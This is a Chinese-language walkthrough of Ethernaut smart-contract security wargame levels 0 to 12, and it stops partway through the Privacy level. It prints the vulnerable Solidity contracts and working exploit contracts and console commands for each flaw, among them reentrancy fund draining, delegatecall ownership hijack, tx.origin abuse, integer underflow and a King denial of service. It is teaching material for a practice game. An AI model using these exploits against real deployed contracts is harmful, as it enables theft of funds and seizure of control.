ethernaut chall Part.I

ethernaut chall Part.I

henry Lv4

0. Hello Ethernaut

进入界面,然后打开控制台见如下界面

nipaste_2024-08-20_14-14-0

这道题主要是用来介绍如何使用控制台交互合约以及 MetaMask 交互,按提示可以一步一步完成。

1
2
3
4
5
6
7
8
9
await contract.info()
await contract.info1()
await contract.info2("hello")
await contract.infoNum()
await contract.info42()
await contract.theMethodName()
await contract.method7123949()
await contract.password()
await contract.authenticate("ethernaut0")

输入完,提交instance即可。

nipaste_2024-08-20_14-26-4

最后刚刚交互的整个合约代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = "The method name is method7123949.";
bool private cleared = false;

// constructor
constructor(string memory _password) {
password = _password;
}

function info() public pure returns (string memory) {
return "You will find what you need in info1().";
}

function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}

function info2(string memory param) public pure returns (string memory) {
if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) {
return "The property infoNum holds the number of the next info method to call.";
}
return "Wrong parameter.";
}

function info42() public pure returns (string memory) {
return "theMethodName is the name of the next method.";
}

function method7123949() public pure returns (string memory) {
return "If you know the password, submit it to authenticate().";
}

function authenticate(string memory passkey) public {
if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}

function getCleared() public view returns (bool) {
return cleared;
}
}

1. Fallback

目标:

  • 成为合约的owner
  • 将余额减少为0

合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
//owner 被设置为部署合约的账户地址 (msg.sender),同时,合约部署者的贡献值被初始化为 1000 以太币 (1 ether 是 Solidity 中的单位,表示 1 ETH)
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
//modifier onlyOwner():定义了一个名为 onlyOwner 的修饰符。修饰符的名字可以是任意的,但通常会反映它的功能
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
// 将合约所属者移交给贡献最高的人,这也意味着你必须要贡献1000ETH以上才有可能成为合约的owner
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
//首先,onlyOwner 修饰符中的 require 语句会检查调用者 (msg.sender) 是否是合约的所有者,如果检查通过(msg.sender == owner),函数继续执行
//这个函数将合约中所有的以太币余额转移到所有者账户中
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
//receive 是一个特殊的函数,当合约接收到以太币而没有调用任何函数时,它会被自动调用
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

先来审计上面的合约代码,能修改合约 owner 的地方总共有三处,第一处构造函数constructor,显然我们无法在这里修改owner。第二处contribute(),但这个函数要求我们贡献1000eth才可以成为合约的owner,显然也不违背了我们的初衷(笑)。第三处 receive(),这个函数在发生交易时,会被自动调用,且会将owner设置为消息发送者,因此我们需要利用这个函数。

来看看触发条件

  • msg.value > 0:contract.sendTransaction({value:1}) 即可
  • contributions[msg.sender] > 0:可以通过调用 contribute 来实现

所以说最终攻击代码如下:

1
2
3
4
await contract.contribute({value: toWei("0.0001")})
await contract.sendTransaction({value: toWei("0.0001")})
contract.owner()
contract.withdraw() //这个函数将合约中所有的以太币余额转移到所有者账户中

nipaste_2024-08-20_15-54-2

2. Fallout

目标

获取合约的owner权限

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

通过审计上面的代码可以发现,构造函数名称与合约名称不一致使其成为一个public类型的函数,即任何人都可以调用,所以可以直接调用构造函数Fal1out来获取合约的ower权限。

1
contract.Fal1out()

nipaste_2024-08-21_14-19-2

最后成功获取到owner权限

3. Coin Flip

目标

连续猜对硬币方向10次以上

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

这段合约代码是一个简单的以太坊智能合约,用于模拟抛硬币游戏。玩家需要猜测硬币的正反面,如果猜对了,他们的连胜次数会增加,否则连胜次数会重置为零。

flip函数接受一个布尔值参数_guess,表示玩家的猜测(正面或反面)。

使用blockhash(block.number - 1)获取前一个区块的哈希值,并将其转换为uint256类型的blockValue

如果当前区块哈希值与上一次相同,则调用revert()终止交易,以防止同一块区块被利用来多次抛硬币。

计算硬币的结果coinFlip,这是通过将blockValue除以FACTOR得到的。coinFlip会是0或1,因此可以被用来判断硬币的正反面。

sidetrue表示硬币为正面,为false表示反面。

如果玩家的猜测与side一致,连胜次数consecutiveWins增加1,函数返回true;否则,连胜次数重置为0,函数返回false

由于链上数据状态的一致性,透明性,所以我们可以仿照题目合约代码中的逻辑来实现exp,每次都可以猜中对的方向。

注意事项FACTOR 的值大约是 ,即 的一半。它被用于将一个 256 位的哈希值(即从 blockhash 获取的值)分成两部分。因此最后 side 的值实际上是由 blockvalue 的最高位决定的

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-license-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttack {

ICoinFlip public victimContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _victimAddress) {
victimContract = ICoinFlip(_victimAddress);
}

//攻击函数
function attack() public {
// 仿照抛硬币的计算逻辑
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

// 调用目标合约:传入必胜的 side
victimContract.flip(side);
}
}
1
2
3
constructor(address _victimAddress) {
victimContract = ICoinFlip(_victimAddress);
}

上面这段构造函数里面给定地址之后,就可以调用目标合约地址函数功能。

首先开启一个实例,获取其合约地址

nipaste_2024-08-21_15-30-0

其次需要http://remix.ethereum.org/登陆这个网站,部署exp,编译完之后调用hack函数,设置如下:

nipaste_2024-08-21_15-32-2

最后连续调用attack 即可。

nipaste_2025-12-11_11-52-1

每次调用可以从终端查看是否成功猜对

nipaste_2024-08-21_15-33-4

连续完成10次之后,提交就可以完成该实例。

nipaste_2024-08-21_15-34-3

4. Telephone

msg.sender & tx.origin 辨析

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

这段代码中可以通过 changeOwner 函数来改变合约的 owner,但是得通过 tx.origin != msg.sender 这一条件。对于这两者之间的区别如下:

tx.originmsg.sender 都是 Solidity 中用于标识交易发送者的全局变量,但它们的作用范围和使用场景有显著的区别。了解它们之间的区别对于编写安全的智能合约至关重要。下面是对这两个变量的解释:

  • tx.origin:交易发送方,是整个交易最开始的地址
  • msg.sender:消息发送方,是当前调用的调用方地址

所以如果通过 账户 A -> 合约 A -> 合约 B 来调用的话,tx.origin 就是账户 A,而对于合约 B 来说,msg.sender 是合约 A

所以说,有了上面的知识,我们就可以借助一个中间合约来调用 Telephone,此时 tx.origin 为调用中间合约方(账户A), msg.sender 则就是中间合约自身。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
function changeOwner(address _owner) external;
}

contract TelephoneAttack {
ITelephone public victimContract;

constructor(address _victimAddress){
victimContract = ITelephone(_victimAddress);
}

function attack() public{
victimContract.changeOwner(msg.sender);
}
}![nipaste_2026-01-28_22-13-0](/images/Snipaste_2026-01-28_22-13-07.png)

nipaste_2026-01-28_22-13-0

5. Token

Interger Overflow 整数溢出

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

  • What is an odometer?

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

一个整数溢出漏洞

漏洞分析:

请看这段代码(注意 pragma solidity ^0.6.0,这是关键):

在 Solidity 0.8.0 之前,整数运算不会自动检查溢出

  • uint256 是无符号整数(非负数)。
  • 如果你尝试用一个小数字减去一个大数字,比如 20 - 21,它不会变成 -1(因为无符号整数不能是负数)。
  • 相反,它会发生**下溢 (Underflow)**,变成一个巨大的数字:2^256 - 1

具体的漏洞点:

假设你有 20 个 Token (balances[msg.sender] = 20)。
如果你尝试转账 21 个 Token (_value = 21):

  1. 计算 20 - 21
  2. 由于下溢,结果变成了 115792089237316195423570985008687907853269984665640564039457584007913129639935 (即 MAX_UINT)。
  3. 这个巨大的数字显然 >= 0,所以 require 检查通过了
  4. 接着执行 balances[msg.sender] -= 21。你的余额也会发生下溢,变成那个巨大的数字。

nipaste_2025-12-11_22-11-4

6. Delegation

这一关的核心在于理解 delegatecall 的工作原理以及它如何影响合约的存储(Storage)。

delegatecall(委托调用)

delegatecall 是一种特殊的调用方式。假设合约 A 使用 delegatecall 调用了合约 B 的某个函数:

  1. 代码逻辑:执行的是 合约 B 的代码。
  2. **上下文 (Context)**:
    • msg.sender 保持不变(还是调用合约 A 的那个人)。
    • msg.value 保持不变。
  3. 存储 (Storage)最关键的一点! 修改的是 合约 A 的数据,而不是合约 B 的。

比喻
合约 A 把合约 B 的代码“借”过来,在自己的地盘上跑了一遍。如果合约 B 的代码里写着“把第 0 号变量改成 123”,那么被修改的是合约 A 的第 0 号变量。

场景比喻

  • Delegation 合约:是你(有自己的身体、大脑、记忆)。
  • Delegate 合约:是一本武功秘籍(只有招式说明,没有实体)。
  • delegatecall:是你决定照着秘籍练功

发生的过程

当你(Delegation)执行 delegatecall 去调用秘籍(Delegate)里的 pwn() 招式时:

  1. 代码(招式)来自秘籍
    你确实是在读 Delegate 里的代码:owner = msg.sender
  2. 执行环境(身体)是你自己的
    虽然招式是秘籍里的,但练功的人是你
    • 代码里说:“把手举起来”。
    • 结果:举起来的是你的手,不是秘籍的手(秘籍也没有手)。
  3. 存储(记忆/状态)是你自己的
    • 代码里说:“把 owner 这个变量改成 msg.sender”。
    • 在底层 EVM 中,这句话的意思其实是:“把第 0 号存储槽 (Slot 0) 的数据改掉”。
    • 因为当前运行环境是 Delegation,所以 EVM 修改的是 Delegation 的第 0 号存储槽

对比 calldelegatecall

特性 普通调用 (call) 委托调用 (delegatecall)
代码来源 目标合约 (B) 目标合约 (B)
执行环境 目标合约 (B) 的环境 发起合约 (A) 的环境
修改的存储 目标合约 (B) 的数据 发起合约 (A) 的数据
msg.sender 发起合约 (A) 原始调用者 (User)

关卡分析

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
  • Fallback methods
  • Method ids

这一关会有两个合约:DelegateDelegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

Delegate 合约 (被借用的代码库):

Delegation 合约 (你要攻击的目标):

漏洞点:

  1. Delegation 合约有一个 fallback 函数,它会把所有未知的调用都通过 delegatecall 转发给 Delegate 合约。
  2. Delegate 合约里有一个 pwn() 函数,代码是 owner = msg.sender
  3. 两个合约的存储布局(Storage Layout)是一样的:第一个变量(Slot 0)都是 owner

攻击逻辑:
如果你向 Delegation 合约发起一笔交易,调用一个叫 pwn() 的函数:

  1. Delegation 发现自己没有 pwn() 函数,于是触发 fallback
  2. fallback 使用 delegatecall 把你的请求转发给 Delegate
  3. Delegatepwn() 代码被执行:owner = msg.sender
  4. 由于是 delegatecall,这行代码修改的是 Delegation 合约的 owner
  5. 结果:Delegation 的 Owner 变成了你。

exp:

1. 计算函数选择器
pwn() 的哈希值的前 4 个字节。

1
2
var pwnSignature = web3.utils.sha3("pwn()").slice(0, 10);
// 结果应该是 "0xdd365b8b"

2. 发起攻击交易
向合约发送这笔带有特殊数据的交易。

1
await contract.sendTransaction({data: pwnSignature})

3. 验证结果
等待交易确认后,检查 Owner。

1
await contract.owner()

nipaste_2026-01-28_22-30-0

7. Force

selfdestruct (自毁)

这一关的目标非常简单粗暴:强行给一个不收钱的合约转账

通常情况下,给合约转账需要合约配合:

  1. 要么有一个 payable 的函数(比如 deposit())。
  2. 要么有一个 receive()fallback() 函数来接收直接转账。

如果一个合约是空的(像这一关的合约代码可能就是空的),或者没有这些函数,你直接用 sendTransaction 转账会失败(Revert),因为合约会拒绝接收。

核心漏洞:selfdestruct (自毁)

Solidity 中有一个特殊的命令叫 selfdestruct(address recipient)

  • 作用:销毁当前合约,把它账上所有的 ETH 强制发送给指定的 recipient 地址。
  • 强制性:这种转账是无法被拒绝的!无论目标合约有没有 payable 函数,无论它是否想要这笔钱,它都必须收下。

关卡分析

Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

  • Fallback methods
  • Sometimes the best way to attack a contract is with another contract.
  • See the “?” page above, section “Beyond the console”
1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

需要部署一个“自杀式袭击”合约。

1. 编写攻击合约 (Remix)

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT 
pragma solidity ^0.8.0;

contract ForceAttack {
// 1. 构造函数:部署时顺便往里存一点点钱
constructor() payable {}

// 2. 攻击函数:自毁并把钱强行塞给目标
function attack(address payable _victim) public {
selfdestruct(_victim);
}
}

2. 部署与执行

  1. 在 Remix 中编译上述代码。
  2. 部署时存钱:在 Deploy 按钮旁边的 Value 框里,填入一点点 ETH(比如 1 Wei0.0001 Ether)。这一步很重要,因为我们要送钱过去,首先自己得有钱。
  3. 点击 Deploy
  4. 部署成功后,调用 attack 函数,参数填入 Ethernaut 给你的关卡实例地址。
  5. 点击 transact

nipaste_2026-01-28_22-44-4

8. Vault

private变量可读

这一关的核心知识点是:区块链上没有秘密

Unlock the vault to pass the level!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

误区解析

很多新手看到 private 关键字:

会下意识地认为:“这个变量是私有的,外部无法访问,所以密码是安全的。”

在 Solidity 中,private 仅仅意味着其他智能合约无法直接读取这个变量。但是,对于区块链网络上的所有节点和观察者来说,所有数据都是公开透明的。

所有的数据都存储在合约的 Storage Slots(存储槽) 里,我们可以直接通过 Web3.js 读取这些存储槽的内容。

存储槽分析 (Storage Layout)

Solidity 的状态变量是按顺序存储在 Slot 里的,每个 Slot 有 32 字节(256位)。

  1. Slot 0

    1
    bool public locked;
    • bool 类型只占 1 个字节。
    • 它会被放在 Slot 0 的最右边。
  2. Slot 1

    1
    bytes32 private password;
    • bytes32 刚好占满 32 个字节。
    • 因为 Slot 0 剩下的空间不够放 32 字节,所以 password 会被放到下一个槽,也就是 Slot 1

结论:密码就明文存放在 Slot 1 里。

通关步骤

不需要写合约,直接在浏览器控制台操作。

1. 读取密码

我们需要读取合约地址在 Slot 1 处的数据。

在控制台输入:

1
2
// web3.eth.getStorageAt(合约地址, Slot编号)
var password = await web3.eth.getStorageAt(contract.address, 1);

输入 password 查看结果,你应该能看到一个 0x 开头的长字符串。这就是密码。

2. 解锁合约

调用 unlock 函数,把刚才读到的密码传进去。

1
await contract.unlock(password);

3. 验证与提交

等待交易确认后,检查是否解锁:

1
2
await contract.locked()
// 应该返回 false

如果返回 false,点击 “Submit instance” 通关。

nipaste_2025-12-12_12-05-4

9. King

transfer 函数 & 拒绝转账

这个关卡的目标是打破 King 合约,阻止关卡(level)重新夺回“国王”的宝座。

漏洞在于这一行代码:

1
payable(king).transfer(msg.value);

transfer 函数有一个特性:如果接收方是一个智能合约,且该合约没有实现 receivefallback 函数(或者这些函数执行失败),那么转账就会失败并回滚(revert)。如果转账回滚,整个交易都会回滚,这意味着没有人能够取代当前的国王。

解决方案:BadKing 合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

BadKing 合约的设计思路如下:

  1. 成为国王:在构造函数中发送足够的以太币给 King 合约,从而成为新的国王。
  2. 拒绝接收以太币:故意不实现 receivefallback 函数。

当关卡(或者其他任何人)试图成为新国王时,King 合约会尝试把当前的奖金(prize)发送给 BadKing。由于 BadKing 无法接收以太币,转账会失败,导致交易回滚。因此,BadKing 将永远占据国王的位置。

这是我创建的攻击合约代码:

如何使用:

  1. 检查 King 合约当前的 prize(奖金)是多少。

  2. 部署 BadKing 合约,部署时附带的 msg.value 要稍微高于当前的 prize,并将 King 合约的地址作为参数传入构造函数。

  3. 提交实例。关卡将无法夺回国王的宝座,你将赢得胜利。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract BadKing {

constructor(address payable _king) payable {
// Send ETH to the King contract to become the new king.
// The amount sent (msg.value) must be >= current prize.
(bool success, ) = _king.call{value: msg.value}("");
require(success, "Failed to become king");
}

// No receive() or fallback() function is defined.
// Therefore, this contract cannot receive Ether via .transfer() or .send().
// When the King contract tries to send Ether back to this contract (when a new king tries to take over),
// the transfer will fail and revert the transaction.
// This prevents anyone else from becoming the king.
}

nipaste_2025-12-13_12-27-4

nipaste_2025-12-13_12-27-5

10. Re-entrancy

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.
  • Fallback methods
  • Throw/revert bubbling
  • Sometimes the best way to attack a contract is with another contract.
  • See the “?” page above, section “Beyond the console”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

这个关卡的漏洞位于 Reentrance 合约的 withdraw 函数中。它在更新用户余额(balances[msg.sender] -= _amount之前,就执行了外部调用(msg.sender.call)发送以太币。

这使得攻击者可以在余额被扣除之前,通过回调函数(receivefallback)再次调用 withdraw 函数,从而反复提取资金。

ReentranceAttack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 定义目标合约的接口,而不是直接导入旧代码
// 这样可以避免编译器版本冲突和依赖问题
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint256 _amount) external;
function balanceOf(address _who) external view returns (uint256 balance);
}

contract ReentranceAttack {
IReentrance public target;
uint256 public amount;

constructor(address payable _target) {
target = IReentrance(_target);
}

function attack() external payable {
require(msg.value > 0, "Need ETH to attack");
amount = msg.value;

// 1. 捐赠给目标合约以增加我们的余额记录
target.donate{value: amount}(address(this));

// 2. 提款以触发重入
target.withdraw(amount);
}

receive() external payable {
// 3. 如果目标合约还有钱,就再次重入
uint256 targetBalance = address(target).balance;
if (targetBalance > 0) {
uint256 toWithdraw = amount;
if (targetBalance < amount) {
toWithdraw = targetBalance;
}
target.withdraw(toWithdraw);
}
}
}

结合代码逐行拆解这个攻击脚本,看看它是如何一步步掏空目标合约的。

核心逻辑:利用“时间差”

攻击的核心在于利用目标合约的一个逻辑漏洞:它先给钱,后记账
这就好比你去银行取钱,柜员先把现金递给你,然后再低头去电脑上扣你的余额。如果你手够快,在柜员低头之前,又喊了一句“我要取钱”,柜员看电脑上余额还没扣,就又给你拿了一笔钱。

1. 准备阶段 (constructor)

  • 作用:部署攻击合约时,锁定受害者(目标合约)的地址。

2. 发起攻击 (attack 函数)

这是攻击的入口点,由你(黑客)手动调用。

  • 存入诱饵 (donate):
    • 目标合约有一个检查:if (balances[msg.sender] >= _amount)
    • 为了能提款,我们必须先在目标合约里有存款。所以我们先“假装”是个好人,存入一笔钱(比如 1 ETH)。
  • 开始提款 (withdraw):
    • 我们立即要求把这 1 ETH 取出来。
    • 目标合约收到请求,检查余额充足,于是执行 msg.sender.call{value: _amount}("") 把钱转回来。
    • 关键点:就在这一瞬间,钱发出来了,但目标合约还没来得及执行 balances[msg.sender] -= _amount

3. 循环收割 (receive 函数)

这是攻击的“自动化”部分。当目标合约把钱转回来时,会自动触发这个函数。

  • 触发时机:目标合约正在执行第一次 withdraw,刚把钱发出来,代码执行权暂时交给了攻击合约。
  • 再次提款:
    • 攻击合约发现目标合约里还有别人的钱(比如还有 100 ETH)。
    • 它立即再次调用 target.withdraw(toWithdraw)
  • 为什么能成功?
    • 因为第一次调用的 withdraw 还没结束,余额扣除代码还没执行。
    • 所以在目标合约看来,你的余额依然是 1 ETH!检查再次通过,它又发了一次钱。
  • 循环:
    • 第二次发钱 -> 触发 receive -> 第三次调用 withdraw
    • 这个过程会一直递归下去,直到 targetBalance 变为 0。

Checks-Effects-Interactions

漏洞的根源:

攻击者利用了物理层动作太快,逻辑层记账太慢的时间差。

  • 错误顺序(当前漏洞)
    1. 检查账本(你有钱吗?有。)
    2. 物理转账(给你钱!) -> 攻击者在这里插入代码,回到第1步
    3. 修改账本(把你余额扣掉。)
  • 正确顺序(安全写法)
    1. 检查账本(你有钱吗?有。)
    2. 修改账本(先把你的余额扣掉!)
    3. 物理转账(给你钱。) -> 攻击者想重入?回到第1步,发现余额已经是0了,拒绝!

这就是著名的 Checks-Effects-Interactions(检查-生效-交互)

11. Elevator

external 的危害

This elevator won’t let you reach the top of your building. Right?

Things that might help:

  • Sometimes solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) { // 只有 isLastFloor 返回 false 进入
floor = _floor;
top = building.isLastFloor(floor); // isLastFloor 返回 false,top 也被赋值为false
}
}
}

这个题目一开始看起来还有些难懂,其实目的就是把 top 变量改为 true,但是有一个悖论就是上面的注释,如果isLastFloor 仅仅被实现为一个根据楼层来判断是否是顶楼的逻辑函数,那确实无法改变。注意这一行代码:

1
Building building = Building(msg.sender);

目标合约假设调用它的那个地址(也就是你的攻击合约)是一个符合 Building 接口规范的合约。

1
building.isLastFloor(_floor)

去调用 msg.sender 地址上的 isLastFloor 函数,因为 msg.sender 是你的合约,所以它自然就调用到了你写在攻击合约里的 isLastFloor 函数。

所以说isLastFloor 实际实现可以我们自己来完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 定义目标合约的接口,避免直接 import 导致的文件依赖问题
interface IElevator {
function goTo(uint256 _floor) external;
}

// 攻击合约本身就是 "Building"
contract ElevatorAttack {
IElevator public target;
bool public toggle = true;

constructor(address _target) {
target = IElevator(_target);
}

// 目标合约会回调这个函数
// 第一次调用返回 false (进入 if)
// 第二次调用返回 true (设置 top = true)
function isLastFloor(uint256) external returns (bool) {
toggle = !toggle;
return toggle;
}

function attack() external {
target.goTo(10);
}
}

如果 Building 是一个诚实的合约(比如真实的物理电梯控制系统),它的逻辑应该是固定的:

  • 如果 10 楼是顶楼,那么 isLastFloor(10) 永远返回 true
  • 如果 10 楼不是顶楼,那么 isLastFloor(10) 永远返回 false

悖论出现了:

  1. 如果要进入 if 语句块(去修改 top),第一次检查必须返回 false(即“这不是顶楼”)。
  2. 进入 if 块后,执行 top = building.isLastFloor(floor)。既然刚才说了“不是顶楼”(返回 false),那么这里 top 就会被赋值为 false

这个题目想告诉你:不要信任外部合约调用的返回值,尤其是当该合约由用户控制时。

你需要打破这个悖论,制造一个“撒谎”的 Building

  • 第一次问:“这是顶楼吗?” -> 回答:“不是”(为了骗过 if 检查)。
  • 第二次问:“这是顶楼吗?” -> 回答:“是”(为了把 top 改成 true)。

nipaste_2026-01-28_23-12-5

12. Privacy

solidity 内存布局

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

  • Understanding how storage works
  • Understanding how parameter parsing works
  • Understanding how casting works

Tips:

  • Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

这一题有点类似第 8 题,依旧读 private 变量在控制台,主要学习solidity变量内存布局:

存储布局分析

  1. Slot 0: bool public locked
    • bool 占用 1 字节。
    • 状态:Slot 0 已用 1 字节,剩余 31 字节。
  2. Slot 1: uint256 public ID
    • uint256 占用 32 字节。
    • Slot 0 剩余空间不够,所以 ID 开启新的一行。
    • 状态:Slot 1 已满。
  3. Slot 2: flattening, denomination, awkwardness (变量打包/Packing)
